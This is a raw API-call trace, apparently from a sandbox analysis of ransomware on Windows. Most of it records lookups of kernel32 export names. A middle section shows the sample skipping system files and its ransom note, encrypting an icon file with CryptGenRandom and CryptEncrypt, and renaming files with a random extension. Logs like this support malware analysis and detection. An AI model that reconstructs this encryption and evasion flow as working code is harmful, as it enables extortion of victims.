(lpString="COPYFILEA") returned 9 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0149.282] lstrlenA (lpString="COPYFILEEXA") returned 11 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0149.282] lstrlenA (lpString="COPYFILEEXW") returned 11 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0149.282] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0149.282] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0149.282] lstrlenA (lpString="COPYFILEW") returned 9 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0149.282] lstrlenA (lpString="COPYLZFILE") returned 10 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0149.282] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0149.282] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0149.282] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0149.282] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0149.282] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0149.283] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0149.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0149.283] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0149.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0149.283] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0149.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0149.283] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0149.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0149.283] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0149.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0149.283] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0149.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0149.283] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0149.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0149.283] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0149.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0149.283] lstrlenA (lpString="CREATEEVENTA") returned 12 [0149.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0149.283] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0149.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0149.283] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0149.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0149.283] lstrlenA (lpString="CREATEEVENTW") returned 12 [0149.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0149.283] lstrlenA (lpString="CREATEFIBER") returned 11 [0149.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0149.283] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0149.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0149.283] lstrlenA (lpString="CREATEFILE2") returned 11 [0149.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0149.283] lstrlenA (lpString="CREATEFILEA") returned 11 [0149.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0149.283] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0149.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0149.284] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0149.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0149.284] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0149.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0149.284] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0149.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0149.284] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0149.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0149.284] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0149.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0149.284] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0149.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0149.284] lstrlenA (lpString="CREATEFILEW") returned 11 [0149.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0149.284] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0149.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0149.284] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0149.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0149.284] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0149.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0149.284] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0149.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0149.284] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0149.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0149.284] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0149.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0149.284] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0149.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0149.284] lstrlenA (lpString="CREATEJOBSET") returned 12 [0149.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0149.285] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0149.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0149.285] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0149.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0149.285] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0149.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0149.285] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0149.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0149.285] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0149.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0149.285] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0149.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0149.285] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0149.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0149.285] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0149.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0149.285] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0149.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0149.285] lstrlenA (lpString="CREATEPIPE") returned 10 [0149.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0149.285] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0149.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0149.285] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0149.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0149.285] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0149.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0149.285] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0149.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0149.285] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0149.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0149.285] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0149.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0149.286] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0149.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0149.286] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0149.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0149.286] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0149.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0149.286] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0149.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0149.286] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0149.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0149.286] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0149.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0149.286] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0149.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0149.286] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0149.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0149.286] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0149.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0149.286] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0149.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0149.286] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0149.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0149.286] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0149.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0149.286] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0149.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0149.286] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0149.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0149.286] lstrlenA (lpString="CREATETHREAD") returned 12 [0149.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0149.287] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0149.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0149.287] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0149.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0149.287] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0149.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0149.287] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0149.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0149.287] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0149.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0149.287] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0149.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0149.287] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0149.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0149.287] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.oMIW") returned 49 [0149.288] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.oMIW" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.omiw"), dwFlags=0x0) returned 1 [0149.288] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.289] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.289] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.289] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0149.289] lstrcmpiW (lpString1="SysReqNotMet.ico", lpString2="DECRYPT-FILES.html") returned 1 [0149.289] lstrcmpiW (lpString1="SysReqNotMet.ico", lpString2="autorun.inf") returned 1 [0149.289] lstrcmpiW (lpString1="SysReqNotMet.ico", lpString2="boot.ini") returned 1 [0149.289] lstrcmpiW (lpString1="SysReqNotMet.ico", lpString2="desktop.ini") returned 1 [0149.289] lstrcmpiW (lpString1="SysReqNotMet.ico", lpString2="ntuser.dat") returned 1 [0149.289] lstrcmpiW (lpString1="SysReqNotMet.ico", lpString2="iconcache.db") returned 1 [0149.290] lstrcmpiW (lpString1="SysReqNotMet.ico", lpString2="bootsect.bak") returned 1 [0149.290] lstrcmpiW (lpString1="SysReqNotMet.ico", lpString2="ntuser.dat.log") returned 1 [0149.290] lstrcmpiW (lpString1="SysReqNotMet.ico", lpString2="thumbs.db") returned -1 [0149.290] lstrcmpiW (lpString1="SysReqNotMet.ico", lpString2="Bootfont.bin") returned 1 [0149.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0149.290] lstrlenW (lpString="SysReqNotMet.ico") returned 16 [0149.290] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Graphics\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0149.290] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="SysReqNotMet.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" [0149.290] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0149.290] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0149.290] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=1150) returned 1 [0149.290] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0149.291] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0149.330] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0149.330] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0149.331] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0149.331] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0149.331] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0149.332] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.332] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0149.332] CloseHandle (hObject=0x5f8) returned 1 [0149.332] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.332] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0149.333] CloseHandle (hObject=0x0) returned 0 [0149.333] CloseHandle (hObject=0x5f4) returned 1 [0149.334] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.335] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.335] GetTickCount () returned 0x3a980 [0149.335] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0149.335] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0149.335] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0149.336] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0149.336] lstrlenA (lpString="kernel32.dll") returned 12 [0149.336] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0149.336] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0149.336] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0149.336] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0149.336] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0149.336] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0149.336] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0149.336] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0149.336] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0149.336] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0149.336] lstrlenA (lpString="ADDATOMA") returned 8 [0149.337] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0149.337] lstrlenA (lpString="ADDATOMW") returned 8 [0149.337] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0149.337] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0149.337] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0149.337] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0149.337] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0149.337] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0149.337] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0149.337] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0149.337] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0149.337] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0149.337] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0149.337] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0149.337] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0149.337] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0149.337] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0149.337] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0149.337] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0149.337] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0149.337] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0149.337] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0149.337] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0149.337] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0149.337] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0149.337] lstrlenA 